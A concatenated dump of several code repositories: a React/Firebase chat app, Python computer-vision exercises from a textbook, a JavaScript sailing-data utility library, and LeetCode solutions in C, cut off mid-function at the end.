google.maps.Map(document.getElementById(attrs.id), myOptions); var circle = { path: google.maps.SymbolPath.CIRCLE, fillColor: '#000000', fillOpacity: 1.0, scale: 12, strokeColor: '#000000', strokeOpacity: 1.0, strokeWeight: 1 }; // Let's also add a marker while we're at it var marker = new google.maps.Marker({ // POSITION 1-1 position: new google.maps.LatLng(48.858278, 2.294254), map: map, // icon: image, icon: circle, title: 'ex-nihilo' }); } }; }); function MapCtrl($scope) { $scope.mapPin = 'No pin set yet'; }
259da9bda7a9a5c8b7dc497243b33edee57d5cd4
[ "JavaScript" ]
5
JavaScript
Valentin-Bonnard/metronome_front
11b0ceaf258a415f8f196761ca335205541ce640
b6d4feb8573e0c51a489861f1c2b682855e52c0d
refs/heads/master
<repo_name>mejdi5/chat-app<file_sep>/src/pages/auth/Auth.jsx import React, {useState, useEffect} from 'react' import './Auth.scss' import { useNavigate } from 'react-router-dom' import { createUserWithEmailAndPassword, updateProfile, signInWithEmailAndPassword } from 'firebase/auth' import { firebaseAuth } from '../../firebase' import { storage, db } from '../../firebase' import { ref, uploadBytesResumable, getDownloadURL, deleteObject } from "firebase/storage"; import { doc, setDoc } from "firebase/firestore"; const Auth = ({setLoading}) => { const [auth, setAuth] = useState("login") const navigate = useNavigate() const [file, setFile] = useState(null) const [image, setImage] = useState(null) const [percentage, setPercentage] = useState(0) const [uploading, setUploading] = useState(null) const [error, setError] = useState(null) const handleDeleteImage = async () => { try { //delete image from firebase storage const desertRef = ref(storage, image); await deleteObject(desertRef) } catch (error) { console.log(error) } setImage(null) } const handleRegister = async (e) => { e.preventDefault(); setLoading(true) const name = e.target[0].value const email = e.target[1].value const password = e.target[2].value try { setLoading(false) const res = await createUserWithEmailAndPassword(firebaseAuth, email, password) await updateProfile(res.user, { displayName: name, photoURL: file ? image : "" }) await setDoc(doc(db, "users", res.user.uid), { name, email, image: file ? image : "" }); } catch (err) { setLoading(false) setError(err.message) setTimeout(() => setError(null), 3000) } } useEffect(() => { const uploadImage = () => { const storageRef = ref(storage, file.name + Date.now()); const uploadTask = uploadBytesResumable(storageRef, file); uploadTask.on('state_changed', (snapshot) => { const progress = (snapshot.bytesTransferred / snapshot.totalBytes) * 100; setPercentage(progress) switch (snapshot.state) { case 'paused': setUploading('Paused'); break; case 'running': setUploading('Uploading'); break; } }, (error) => console.log(error), () => { getDownloadURL(uploadTask.snapshot.ref).then(downloadURL => { setImage(downloadURL) setPercentage(0) setUploading(null) })}) } file && uploadImage() }, [file]) const handleLogin = async (e) => { e.preventDefault(); setLoading(true) const email = e.target[0].value const password = e.target[1].value try { setLoading(false) await signInWithEmailAndPassword(firebaseAuth, email, password) navigate("/") } catch (err) { setLoading(false) setError(err.message) setTimeout(() => setError(null), 3000) } } return ( <div className="auth"> <div className="wrapper"> <div className="left"> {auth === "login" ? <div className="leftContainer"> <h1>Chat App</h1> <div className="leftWrapper"> <span>Haven't account yet ?</span> <button onClick={() => setAuth('register')}> Sign Up </button> </div> </div> : <div className="leftContainer"> <h1>Chat App</h1> <div className="leftWrapper"> <span>Already signed up ?</span> <button onClick={() => setAuth('login')}> Sign In </button> </div> </div> } </div> <div className="right"> {auth === "login" ? <div className='rightContainer'> <div className="formWrapper"> <h2>SIGN IN</h2> <form onSubmit={handleLogin}> <input type="email" placeholder="Email.." name="email" required /> <input type="password" placeholder="Password.." name="password" required /> {error && <span className='error'>{error}</span>} <button> Login </button> </form> </div> </div> : <div className='rightContainer'> <div className="formWrapper"> <h2>SIGN UP</h2> <form onSubmit={handleRegister}> <input type="text" placeholder="Name.." name="name" required /> <input type="email" placeholder="Email.." name="email" required /> <input type="password" placeholder="Password.." name="password" required /> <input className='file' type="file" id="file" onChange={e => setFile(e.target.files[0])} /> <label htmlFor='file'> <img src="/image.jpg" alt=""/> <span>Add Image</span> </label> <div className='uploadProgress'> {uploading && <div className='uploading'>{uploading}</div>} {percentage > 0 && !image && <div className='progress'> <div style={{width: `${percentage}%`}} className='percentage'>{percentage.toFixed(0)}%</div> </div>} {image && <img src={image} alt="" onClick={handleDeleteImage}/>} </div> {error && <span className='error'>{error}</span>} <button> Register </button> </form> </div> </div> } </div> </div> </div> )} export default Auth<file_sep>/src/components/messages/Messages.jsx import React, {useContext, useRef , useEffect} from 'react' import './Messages.scss' import {format} from 'timeago.js' import { AuthContext } from '../../context/AuthContext' import { arrayRemove, doc, updateDoc } from "firebase/firestore"; import { ref, deleteObject } from "firebase/storage"; import { db, storage } from '../../firebase'; const Messages = ({currentChat}) => { const user = useContext(AuthContext) const scroll = useRef() const handleDeleteMessage = async (messageId, messageText, messageDate, messageImage) => { try { //delete message image from firebase storage if(messageImage) { const desertRef = ref(storage, messageImage); await deleteObject(desertRef) } //delete message from firestore database await updateDoc(doc(db, "chats", currentChat?.chatId), { messages: arrayRemove({ id: messageId, text: messageText, sender: user, date: messageDate, image: messageImage }) }); } catch (error) { console.log(error) } } useEffect(() => { ref.current?.scrollIntoView({ behavior: "smooth" }); }, [currentChat]); return ( <div className='messages'> {currentChat?.messages?.map(message=> <div className={message?.sender?.id === user.id ? 'sentMessage' : 'receivedMessage'} key={message?.id} ref={scroll} > <img src={message?.sender?.image || "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAL8AAAEICAMAAAA5jNVNAAAAP1BMVEV1dXXAwMC+vr7CwsJycnK7u7urq6u3t7d2dnahoaGcnJyoqKh5eXm0tLSZmZl9fX2NjY2JiYmDg4OUlJRtbW0crqSPAAAGU0lEQVR4nO2d6XbbIBBGJRi0WtaW93/WApJjx/EmIHzQM/f0tP3T5oIGNKwqCo<KEY>bzB88KFsqiMAAAAASUVORK5CYII="} alt="" /> <div className="content" onClick={() => message?.sender?.id === user.id && handleDeleteMessage(message?.id, message?.text, message?.date, message?.image)}> {message?.text && <p>{message?.text}</p>} {message?.image && <img src={message.image} alt="" />} </div> <small>{format(message?.date)}</small> </div> )} </div> )} export default Messages<file_sep>/src/pages/home/Home.jsx import React, { useEffect, useState } from 'react' import { signOut } from 'firebase/auth' import { firebaseAuth } from '../../firebase' import './Home.scss' import Sidebar from '../../components/sidebar/Sidebar' import Chat from '../../components/chat/Chat' import { onSnapshot, doc } from "firebase/firestore" import { db } from '../../firebase' const Home = () => { const [currentChat, setCurrentChat] = useState(null) useEffect(() => { if (currentChat) { const unSub = onSnapshot(doc(db, "chats", currentChat?.chatId), (doc) => { doc.exists() && setCurrentChat(doc.data()) }); return () => { unSub(); };} }, [currentChat?.chatId, currentChat?.messages]); return ( <div className='home'> <div className='logout'> <button onClick={() => signOut(firebaseAuth)} >Logout</button> </div> <div className="container"> <div className="wrapper"> <Sidebar currentChat={currentChat} setCurrentChat={setCurrentChat} /> {currentChat ? <Chat currentChat={currentChat}/> : <div className="startChat"> <span>Start a new conversation</span> </div> } </div> </div> </div> )} export default Home<file_sep>/src/context/AuthContext.js import React, {createContext, useEffect, useState} from 'react'; import { onAuthStateChanged } from 'firebase/auth'; import { firebaseAuth } from '../firebase'; export const AuthContext = createContext() export const AuthContextProvider = ({children}) => { const [user, setUser] = useState(null) useEffect(() => { const getAuth = onAuthStateChanged(firebaseAuth, currentUser => { if (currentUser) { setUser({ id: currentUser.uid, name: currentUser.displayName, email: currentUser.email, image: currentUser.photoURL }) } else { setUser(null) } }) return () => { getAuth() } }, []) return ( <AuthContext.Provider value={user} > {children} </AuthContext.Provider> )}<file_sep>/src/App.jsx import React, { useContext, useState, useEffect } from "react"; import {BrowserRouter, Routes, Route, Navigate} from 'react-router-dom' import Home from "./pages/home/Home"; import Auth from './pages/auth/Auth' import Loading from './pages/loading/Loading' import {AuthContext} from './context/AuthContext' import { UserContextProvider } from "./context/UserContext"; import {UserChatContextProvider} from './context/ChatContext' function App() { const user = useContext(AuthContext) const [loading, setLoading] = useState(false) useEffect(() => { setLoading(true) setTimeout(() => setLoading(false), 1000) }, []) return ( <BrowserRouter> <Routes> <Route index path="/" element={ user ? <UserContextProvider> <UserChatContextProvider> <Home/> </UserChatContextProvider> </UserContextProvider> : loading ? <Loading/> : <Navigate to="/auth"/> }/> <Route path="/auth" element={ loading ? <Loading/> : !user ? <Auth setLoading={setLoading}/> : <Navigate to="/"/> }/> </Routes> </BrowserRouter> ); } export default App; <file_sep>/src/firebase.js // Import the functions you need from the SDKs you need import { initializeApp } from "firebase/app"; import { getAuth } from 'firebase/auth' import { getStorage } from 'firebase/storage' import { getFirestore} from 'firebase/firestore' const firebaseConfig = { apiKey: "<KEY>", authDomain: "chat-app-91c16.firebaseapp.com", projectId: "chat-app-91c16", storageBucket: "chat-app-91c16.appspot.com", messagingSenderId: "830816280664", appId: "1:830816280664:web:2f3ec2f6f42dbbd65cea2d", measurementId: "G-4D35S5DB1F" }; // Initialize Firebase export const app = initializeApp(firebaseConfig); export const firebaseAuth = getAuth() export const storage = getStorage() export const db = getFirestore()
abaef6a5a41d0acb8256ccd5b244f5346203e899
[ "JavaScript" ]
6
JavaScript
mejdi5/chat-app
ab002c87ae43a6a85e2ea1738895a7ab02c4ac7e
d2de5c6419cc43d886399b0dbebd4914d8bb7579
refs/heads/master
<repo_name>ahndroo/CVPython<file_sep>/Chapter1/Ex7.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import measurements, morphology from imtools import * """ Experiment with successive morphological operations on a thresholded image of your choice. When you have found some settings that produce good results, try the function center_of_mass in measurements to find the center coordinates of each objects and plot them in the image. """ pil_im = Image.open('SimpleObjects.gif') im = np.array(pil_im.convert('L')) im,cdf = histeq(im) im = 1*(im<128) labels, nbr_obj = measurements.label(im) im_open = morphology.binary_opening(im,np.ones((4,4)), iterations=2) com = measurements.center_of_mass(im,labels,np.arange(nbr_obj)+1) com = np.asarray(com) plt.imshow(im) plt.plot(com[:,1],com[:,0],'*') # flip plot arounds plt.show() <file_sep>/Chapter1/Ex3.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import filters from PIL import Image from imtools import * """ An alternative image normalization to histogram equalization is a quotient image. A quotient image is obtained by dividing the image with a blurred version I/I*G. Implement this and try it on some sample images. """ pil_im = Image.open("FD_rx7.jpg") imGray = np.array(pil_im.convert("L")) imGrayBlur = filters.gaussian_filter(imGray,1) prod = (imGray * imGrayBlur) + 1 # add 1 to avoid div by 0 imQuot = imGray + imGray/prod <file_sep>/Chapter2/harris.py from scipy.ndimage import filters import matplotlib.pyplot as plt import numpy as np def compute_harris_response(im, sigma=3): """ Compute the Harris corner detector response function for each pixel in a graylevel image. """ # derivatives imx = np.zeros(im.shape) filters.gaussian_filter(im, (sigma, sigma), (0,1), imx) imy = np.zeros(im.shape) filters.gaussian_filter(im, (sigma, sigma), (1,0), imy) # compute components of the Harris matrix Wxx = filters.gaussian_filter(imx*imx, sigma) Wyy = filters.gaussian_filter(imy*imy, sigma) Wxy = filters.gaussian_filter(imx*imy, sigma) # determinant and trace Wdet = Wxx*Wxx - Wyy*Wyy Wtr = Wxx + Wyy return Wdet / Wtr def get_harris_points(harrisim, min_dist=10, threshold=0.1): """ Return corners from a Harris response image min_dist is the minimum number of pixels separating corners and image boundary. """ # find top corner candidates about threshold corner_threshold = harrisim.max() * threshold harrisim_t = (harrisim > corner_threshold) * 1 # values greater than threshold go to one # get coordinates of candidates and their values coords = np.array(harrisim_t.nonzero()).T candidate_values = [harrisim[c[0], c[1]] for c in coords] # sort candidates index = np.argsort(candidate_values) # store allowed point locations in array allowed_locations = np.zeros(harrisim.shape) allowed_locations[min_dist:-min_dist, min_dist:-min_dist] = 1 # select the best points taking min_dstance into account filtered_coords = [] for i in index: if allowed_locations[coords[i,0], coords[i, 1]] == 1: filtered_coords.append(coords[i]) allowed_locations[(coords[i,0]-min_dist):(coords[i,0]+min_dist), (coords[i,1]-min_dist):(coords[i,1]+min_dist)] = 0 return filtered_coords def plot_harris_points(image, filtered_coords): """ Plots corners found in image """ plt.figure() plt.gray() plt.imshow(image) plt.plot([p[1] for p in filtered_coords], [p[0] for p in filtered_coords], '*') plt.axis('off'); plt.show() <file_sep>/Chapter1/ch1Examples.py from PIL import Image import os import matplotlib.pyplot as plt from PIL import Image import numpy as np import imtools as imtools from scipy.ndimage import filters, measurements, morphology def createThumbnail(im, size=(128,128)): # Input: # im = PIL image # size = tuple indicating thumbnail size thumbnail = im.thumbnail(size) return thumbnail def crop(im, box=(100,100,400,400)): # Input: # im = PIL Image # box = 4-tuple indicating crop region (left, upper, right, lower) # PIL uses coord. sys with (0,0) in upper left corner cropRegion = im.crop(box) # take cropped region and paste upsidedown # cropRegion = cropRegion.transpose(Image.ROTATE_180) # im.paste(cropRegion, box) return cropRegion def resize(im, size=(128,128)): # Input: # im = PIL Image # size = tuple indicating image resize dimensions im2 = im.resize(size) return im2 def imContour(pil_im): # Input: # pil_im = PIL image im = array(pil_im.convert('L')) plt.figure(); plt.gray() plt.contour(im, origin = 'image') plt.axis('equal'); plt.axis('off') plt.show() def imHist(pil_im): # Input: # pil_im = PIL image im = array(pil_im.convert('L')) plt.figure() plt.hist(im.flatten(),128) plt.show() def userInput(pil_im): # Input: # pil_im = PIL image im = np.array(pil_im.convert('L')) plt.imshow(im) print("Please click 3 points...") x = plt.ginput(3) print("You clicked {}".format(x)) plt.show() def graylevelTrans(pil_im): # Input: # pil_im = PIL image im = np.array(pil_im.convert('L')) im2 = 255 - im # invert uint8 image im3 = (100.0/255) * im + 100 # clamp image on interval 100:200 im4 = 255.0*(im/255.0)**2 # square image # display images plt.figure() plt.subplot(2,2,1) plt.imshow(im);plt.title('Original Image') plt.subplot(2,2,2) plt.imshow(im2);plt.title('Inverted Image') plt.subplot(2,2,3) plt.imshow(im3);plt.title('Clamped image') plt.subplot(2,2,4) plt.imshow(im4);plt.title('Squared Image') plt.show() def imresize(im,sz): # Input: # im = numpy image array # sz = size of output image pil_im = Image.fromarray(uint8(im)) # convert to PIL image return array(pil_im.resize(sz)) def afonts(): """ Perform PCA on various images of letter 'a'""" im = np.array(Image.open(imlist[0])) # open one image to get size m, n = im.shape[0:2] # get the size of images imnbr = len(imlist) # get the number of images # create matrix to store all flattened images immatrix = np.array([np.array(Image.open(im)).flatten() for im in imlist], 'f') # perform PCA V, S, immean = pca.pca(immatrix) # show some images plt.figure(); plt.gray() plt.subplot(2, 4, 1); plt.imshow(immean.reshape(m,n)) for i in range(7): plt.subplot(2,4,i+2); plt.imshow(V[i].reshape(m,n)) plt.show() def usingWith(): # open file and save with open('font_pca_modes.pkl','wb') as f: pickle.dump(immean, f) pickle.dump(V, f) # open file and load with open('font_pca_modes',''rb') as f: immean = pickle.load(f) V = pickle.load(f) def blurringImages(pil_im): # application of different blur effects and filters im = np.array(pil_im.convert('L')) im2 = filters.gaussian_filter(im,5) # 5 is standard deviation, larger values give more blurring # for color images, blur each color channel for i in range(3): im2[:,:,i] = filters.gaussian_filter(im[:,:,i],5) im2 = uint8(im2) # forces im2 to be uint8 # Filters (interchange between Sobel-Prewitt) # calculates gradient magnitude |grad(V)| = sqrt(Ix**2 + Iy**2) # calculates gradient angle ang = arctan2(Ix,Iy) # numpy arctan2 returns signed angle in rad from -pi:pi imx = np.zeros(im.shape); filters.prewitt(im,1,imx) imy = np.zeros(im.shape); filters.prewitt(im,0,imy) magnitude = np.sqrt(imx**2 + imy**2) ang = np.arctan2(imx,imy) # gaussian filter sigma = 5 imx = np.zeros(im.shape); filters.gaussian_filter(im,(sigma,sigma), (0,1), imx) imy = np.zeros(im.shape); filters.gaussian_filter(im, (sigma,sigma), (1,0), imy) def morphology(pil_im): # count objects in image---idk im = np.array(pil_im.convert('L')) im = 1*(im<128) labels, nbr_objects = measurements.label(im) print("Number of objects: {}".format(nbr_objects)) # morphology - opening to separate objects better im_open = morphology.binary_opening(im, ones((9,5)), iterations=2) labels, nbr_objects = measurements.label(im_open) print("Number of objects: {}".format(nbr_objects)) <file_sep>/Chapter1/Ex5.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import filters from PIL import Image from imtools import * """ Use gradient direction and magnitude to detect lines in an image. Estimate the extent of the lines and their parameters. Plot the lines overlaid on the image.""" pil_im = Image.open('SimpleObjects.gif') im = np.array(pil_im.convert('L')) im = im[:100, :100] imxSob = np.zeros(im.shape); imySob = np.zeros(im.shape) filters.sobel(im,1,imxSob); filters.sobel(im,0,imySob) sobMag = np.sqrt(imxSob**2 + imySob**2) sobDir = np.arctan2(imxSob, imySob) imxPre = np.zeros(im.shape); imyPre = np.zeros(im.shape) filters.prewitt(im,1,imxPre); filters.prewitt(im,0,imyPre) preMag = np.sqrt(imxPre**2 + imyPre**2) preDir = np.arctan2(imxPre, imyPre) # not sure what the ques is asking <file_sep>/Chapter1/Ex6.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import measurements, morphology from imtools import * """ Apply the label() function to a thresholded image of your choice. Use histograms and the resulting label image to plot the distribution of object sizes in the image. """ labelList = labels.flatten() plt.hist(labelList,nbr_obj);plt.show() sortIdx = np.argsort(imhist) imhist = imhist[sortIdx] # sort in ascending order bins = bins[sortIdx] # sort in ascending order plt.plot(imhist[:-3]);plt.title('Objects increasing in size');plt.show() <file_sep>/Chapter1/imtools.py from PIL import Image import os import matplotlib.pyplot as plt import numpy as np def saveJPG(): for infile in filelist: outfile = os.path.splittext(infile[0] + ".jpg") if infile != outfile: try: Image.open(infile).save(outfile) except IOError: print("Cannot convert {}".format(infile)) def get_imlist(path): # Return a list of filenames for jpg images in directory return [os.path.join(path,f) for f in os.listdir(path) if f.endswith('.jpg')] def histeq(im, nbr_bins=256): """ Histogram Equalization of grayscale iamge """ # get image Histogram imhist, bins = np.histogram(im.flatten(), nbr_bins, normed=True) cdf = imhist.cumsum() # cumulative dist. function cdf = 255 * cdf / cdf[-1] # normalize # use linear interpolation of cdf to find new pixel values im2 = np.interp(im.flatten(), bins[:-1],cdf) # REVIEW THIS return im2.reshape(im.shape), cdf def compute_average(imlist): """ Compute the average of a list of images """ # open first image and make into array of type float averageim = np.array(Image.open(imlist[0]), 'f') for imname in imlist[1:]: try: averageim += np.array(Image.open(imname)) except: print("{} ...skipped".format(imname)) averageim /= len(imlist) # return average as uint8 return array(averageim, 'uint8') def pca(X): """ Principal Component Analysis input: X, matrix with training data stored as flattened arrays in rows return: projection matrix (with important dimensions first), variance and mean. """ # get dims N, D = X.shape # center data mean_X = X.mean(axis=0) X = X-mean_X if D < N: # PCA- compact trick used M = np.dot(X, X.T) # covariance matrix e, EV = np.linalg.eigh(M) # eigenvalues and eigenvectors tmp = np.dot(X.T, EV).T # compact trick V = tmp[::-1] # reverse since last eigenvectors are the ones we want S = np.sqrt(e)[::-1] # reverse since eigenvalues are in increasing order for i in range(V.shape[1]): V[:,i] /= S else: # PCA- SVD used U, S, V = np.linalg.svd(X) V - V[:N] # only make sense to return the first N # return projection matrix, variance and mean return V, S, mean_X def denoise(im, U_init, tolerance=0.1, tau=0.125, tv_weight=100): """ An implementation of the Rudin-Osher-Fatemi (ROF) denoising model using the numerical procedure presented in eq(11) <NAME> (2005). Input: noisy input image (grayscale), initial guess for U, weight of the TV-regularizing term, steplength, tolerance for stop criterion. Output: denoised and detextured image, texture residual. """ m,n = im.shape # size of noisy image # initialize U = U_init Px = im # x-component to dual field Py = im # y-component to dual field error = 1 while (error > tolerance): Uold = U # gradient of primal var GradUx = roll(U, -1, axis=1)-U # x-component of U's gradient GradUy = roll(U, -1, axis=0)-U # y-component of U's gradient # update dual var PxNew = Px + (tau/tv_weight)*GradUx PyNew = Py + (tau/tv_weight)*GradUy NormNew = maximum(1,sqrt(PxNew**2 + PyNew**2)) Px = PxNew/NormNew # update of x-component (dual) Py = PyNew/NormNew # update of y-component (dual) # update of primal variable RxPx = roll(Px, 1, axis=1) # right x-translation of x-component RyPy = roll(Py, 1, axis=0) # right y-translatino of y-component DivP = (Px-RxPx)+(Py-RyPy) # divergence of dual field U = im + tv_weight*DivP # update of primal var # update of error error = np.linalg.norm(U-Uold)/sqrt(n*m) return U,im-U # return denoised image and texture residual <file_sep>/Chapter1/Ex4.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import filters from PIL import Image from imtools import * """ Write a function that finds the outline of simple objects in images (for example a square against a white background) using image gradients. """ pil_im = Image.open('SimpleObjects.gif') im = np.array(pil_im.convert('L')) imxSob = np.zeros(im.shape); imySob = np.zeros(im.shape) filters.sobel(im,1,imxSob); filters.sobel(im,0,imySob) sobMag = np.sqrt(imxSob**2 + imySob**2) sobDir = np.arctan2(imxSob, imySob) imxPre = np.zeros(im.shape); imyPre = np.zeros(im.shape) filters.prewitt(im,1,imxPre); filters.prewitt(im,0,imyPre) preMag = np.sqrt(imxPre**2 + imyPre**2) preDir = np.arctan2(imxPre, imyPre) plt.subplot(2,2,1);plt.imshow(sobMag,cmap='gray');plt.title('Sobel Magnitude') plt.subplot(2,2,2);plt.imshow(sobDir,cmap='gray');plt.title('Sobel Direction') plt.subplot(2,2,3);plt.imshow(preDir,cmap='gray');plt.title('PreWitt Magnitude') plt.subplot(2,2,4);plt.imshow(preDir,cmap='gray');plt.title('PreWitt Direction') plt.show() <file_sep>/Chapter1/Ex1.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import filters pil_im = Image.open("FD_rx7.jpg") im = np.array(pil_im.convert("L")) sig = np.array([2, 5, 10, 20]) plt.subplot(5,2,1); plt.imshow(im); plt.title("Original") plt.subplot(5,2,2); plt.contour(im, origin='image') for i,s in enumerate(sig): imBlur = filters.gaussian_filter(im,s) gaussInd = (i+2)*2-1 contInd = (i+2)*2 plt.subplot(5,2,gaussInd);plt.imshow(imBlur);plt.title("Blur with Sigma= {}".format(sig[i])) plt.subplot(5,2,contInd);plt.contour(imBlur, origin='image') """ With increasing blur, the countour begins to lose its shape. Since blur tends to remove edge detail, the countour has a hard time finding definitive edges. """ <file_sep>/README.md # CVPython Practice code and examples for 'Programming Computer Vision with Python' - <NAME> <file_sep>/Chapter1/Ex2.py import numpy as np import matplotlib.pyplot as plt from scipy.ndimage import filters from PIL import Image """ Implement an unsharp masking operation. (http://en.wikipedia.org/wiki/Unsharp_masking) by blurring an image and then subtracting the blurred version from the original. This gives a sharpening effect to the image. Try on both color and grayscale images """ pil_im = Image.open("FD_rx7.jpg") imGray = np.array(pil_im.convert("L")) imColor = np.array(pil_im) amt = .5 # percentage, controls magnitude of contrast at edges imGrayBlur = filters.gaussian_filter(imGray,1) imGrayUnsharp = imGray - imGrayBlur # unsharpening mask imGraySharp = imGray + (imGrayUnsharp) *amt imColorBlur = np.zeros(imColor.shape) for i in range(3): imColorBlur[:,:,i] = filters.gaussian_filter(imColor[:,:,i],1) imColorBlur = np.uint8(imColorBlur) imColorUM[:,:,i] = imColor[:,:,i] - imColorBlur[:,:,i] imColorUM = np.uint8(imColorUM) # imColorUM = imColor - imColorBlur imColorSharp = imColor + (imColorUM)
dd12483e4f864328226176af6e29ff1292482897
[ "Markdown", "Python" ]
11
Python
ahndroo/CVPython
2cb58be7f3d98ab53dfeefca691c3fdde695a09a
ea852512805f92b54402e412c3c5fb1d2ecc1289
refs/heads/master
<file_sep>(function (global, factory) { if (typeof exports === 'object' && typeof module !== 'undefined') { factory(exports, require('lodash')); } else { factory((global.homegrown.utilities = {}), global._); } }(this, function (exports, _) {'use strict'; //from stack overflow var remove_comments_regex = /((\/\/.*$)|(\/\*[\s\S]*?\*\/))/mg; var argument_names_regex = /([^\s,]+)/g; function getParamNames(funct) { var fnStr = funct.toString().replace(remove_comments_regex, ''); var result = fnStr.slice(fnStr.indexOf('(')+1, fnStr.indexOf(')')).match(argument_names_regex); if ( result === null ) result = []; return result; } var utilities = { /** * given a metric, will compute it's derivitive. * @param name - the name of the derivitive * @param metric - the name of the metric to calculate the derivitive from * @param [scaleFactor] - optional conversion factor, if the new metric should * be in different units. * @return * Example: var acceleration = derivitive('acceleration', 'speed'); * assert acceleration({'speed': 5, 't':1000}) == null //first execution * assert acceleration({'speed': 5, 't':1000}) == {'acceleration': 0} * assert acceleration({'speed': 6, 't':1000}) == {'acceleration': 1} */ //TODO: rename derivative derivitive: function derivitive(name, metric, scaleFactor) { scaleFactor = scaleFactor || 1; var lastValue = null, lastTime; return function(args) { var result = null; if (metric in args) { if (lastValue !== null) { var delta = (args[metric] - lastValue) / ((args.t - lastTime)/1000) * scaleFactor; result = {}; result[name] = delta; } lastValue = args[metric]; lastTime = args.t; } return result; }; }, average: function average(name, metric, size) { var rolling = 0; var counter = 0; var windowX = []; return function(args) { var result = null; if (metric in args) { var pos = counter % size; counter++; if (windowX[pos]) { rolling -= windowX[pos]; } rolling += args[metric]; windowX[pos] = args[metric]; result = {}; result[name] = rolling / windowX.length; } return result; }; }, /** * Wraps function to allow it to handle streaming inputs. * @param funct - the name of the function will be used to name the return value. * The name of the arguments will be used to pull the arguments out * of maps of possible arguments. * @return {object} - will return null if all of the arguments aren't avaible to execute the * function, or an object of the form: {function_name: result}. */ delayedInputs: function delayedInputs(funct) { var argumentNames = getParamNames(funct); var runningArgs = []; return function(args) { // var presentValues = _.map(argumentNames, function(name) { return args[name]; }); var allSet = true; for( var i=0; i < argumentNames.length; i++ ) { if ( argumentNames[i] in args ) { runningArgs[i] = args[argumentNames[i]]; } if ( !runningArgs[i] ) { allSet = false; } } //if all if (allSet) { var result = funct.apply(this, runningArgs); runningArgs = []; var obj = {}; obj[funct.name] = result; return obj; } return null; }; }, /* Pass in a data array, where each element has a time, t and a set of segments, each with a start and end time, and get back a new segment array, with each having a data array for points within the segments start and end time. */ segmentData: function segmentData(data, segments) { var segs = _.clone(segments, true); _.each(segs, function(seg) { seg.data = []; }); var j = 0; for ( var i=0; i < data.length; i++ ) { if ( data[i].t < segs[j].start ) { continue; } else if ( data[i].t < segs[j].end ) { segs[j].data.push(data[i]); } else { j++; if (j >= segs.length) break; segs[j].data.push(data[i]); } } return segs; }, //untested: create a new segment whenever createChangeDataSegments: function createSegments(data, field) { var segments = []; var lastValue = null; var startTime = null; //get points from data var getValue, fieldName; if (typeof field == 'function') { getValue = field; fieldName = field.name; } else { getValue = function getValue(point) { if (field in point) return point[field]; else return null; }; fieldName = field; } var i=0; for (; i < data.length; i++) { var value = getValue(data[i]); if ( value ) { lastValue = value; startTime = data[i].t; break; } } for (; i < data.length; i++) { var newValue = getValue(data[i]); if ( newValue && newValue != lastValue ) { var seg = { // value: lastValue, start: startTime, end: data[i].t }; seg[fieldName] = lastValue; segments.push(seg); lastValue = newValue; startTime = data[i].t; } } return segments; }, createSummaryDataSegments: function summerizeData(data, field, timeStep) { timeStep = timeStep || 10000; //default 10 seconds var segments = []; var sum=0, count=0; var startTime = data[0].t; for (var i=0; i < data.length; i++) { if (data[i].t > startTime + timeStep) { var seg = { start: startTime, end: data[i].t }; seg[field] = sum/count; segments.push(seg); sum = 0; count = 0; startTime = data[i].t; } if ( field in data[i] ) { sum += data[i][field]; count++; } } return segments; }, circularMean: function circularMean(dat) { var sinComp = 0, cosComp = 0; _.each(dat, function(angle) { sinComp += Math.sin(rad(angle)); cosComp += Math.cos(rad(angle)); }); return (360+deg(Math.atan2(sinComp/dat.length, cosComp/dat.length)))%360; } }; _.extend(exports, utilities); }));
1495a0b1b80044c4dedd3cc2d9b63286f77a96ad
[ "JavaScript" ]
1
JavaScript
Dysrel/sailing_calculations
634df42c2d243c8ea8da2eb6454c1751a9294a8f
bfd1e6daf6ce68aacdea9f2b5d9a0416e2310cce
refs/heads/master
<repo_name>hanwaer/leetcode_in_C<file_sep>/src/101_SymmetricTree.c /* Given a binary tree, check whether it is a mirror of itself (ie, symmetric around its center). For example, this binary tree [1,2,2,3,4,4,3] is symmetric: 1 / \ 2 2 / \ / \ 3 4 4 3 But the following [1,2,2,null,3,null,3] is not: 1 / \ 2 2 \ \ 3 3 Note: Bonus points if you could solve it both recursively and iteratively. */ bool helper(struct TreeNode *left, struct TreeNode *right) { if (!left || !right) return left==right; if (left->val != right->val) return false; return helper(left->left, right->right) && helper(left->right, right->left); } bool isSymmetric(struct TreeNode *root) { if (!root) return true; return helper(root->left, root->right); } <file_sep>/src/014_LongestCommonPrefix.c /* * Write a function to find the longest common prefix string amongst an * array of strings. */ char* longestCommonPrefix(char **strs, int strsSize) { if (strsSize == 0) return ""; int i, j, max_len = strlen(strs[0]), len; char *res = strdup(strs[0]); for (i = 0; i < max_len; i++) { for (j = 1; j < strsSize; j++) { if (strs[j - 1][i] != strs[j][i]) break; } if (j != strsSize) { res[i] = 0; return res; } } return res; } <file_sep>/src/292_NimGame.c /* * You are playing the following Nim Game with your friend: There is a heap * of stones on the table, each time one of you take turns to remove 1 to 3 * stones. The one who removes the last stone will be the winner. You will * take the first turn to remove the stones. * * Both of you are very clever and have optimal strategies for the game. * Write a function to determine whether you can win the game given the * number of stones in the heap. * * For example, if there are 4 stones in the heap, then you will never win * the game: no matter 1, 2, or 3 stones you remove, the last stone will * always be removed by your friend. */ bool canWinNim(int n) { return !(n % 4 == 0); } <file_sep>/src/104_MaximumDepthOfBinaryTree.c /* * Given a binary tree, find its maximum depth. * * The maximum depth is the number of nodes along the longest path from the root node down to the farthest leaf node. */ int maxDepth(struct TreeNode *root) { int left, right; if (!root) return 0; if (!root->left && !root->right) return 1; left = right = 1; if (root->left) left += maxDepth(root->left); if (root->right) right += maxDepth(root->right); return left>right?left:right; } <file_sep>/src/165_CompareVersionNumbers.c /* * Compare two version numbers version1 and version2. * If version1 > version2 return 1, if version1 < version2 return -1, * otherwise return 0. * * You may assume that the version strings are non-empty and contain only * digits and the . character. * The . character does not represent a decimal point and is used to * separate number sequences. * For instance, 2.5 is not "two and a half" or "half way to version three", * it is the fifth second-level revision of the second first-level revision. * * Here is an example of version numbers ordering: * * 0.1 < 1.1 < 1.2 < 13.37 */ int compareVersion(char *version1, char *version2) { int ret = 0, c1, c2, i, max; int 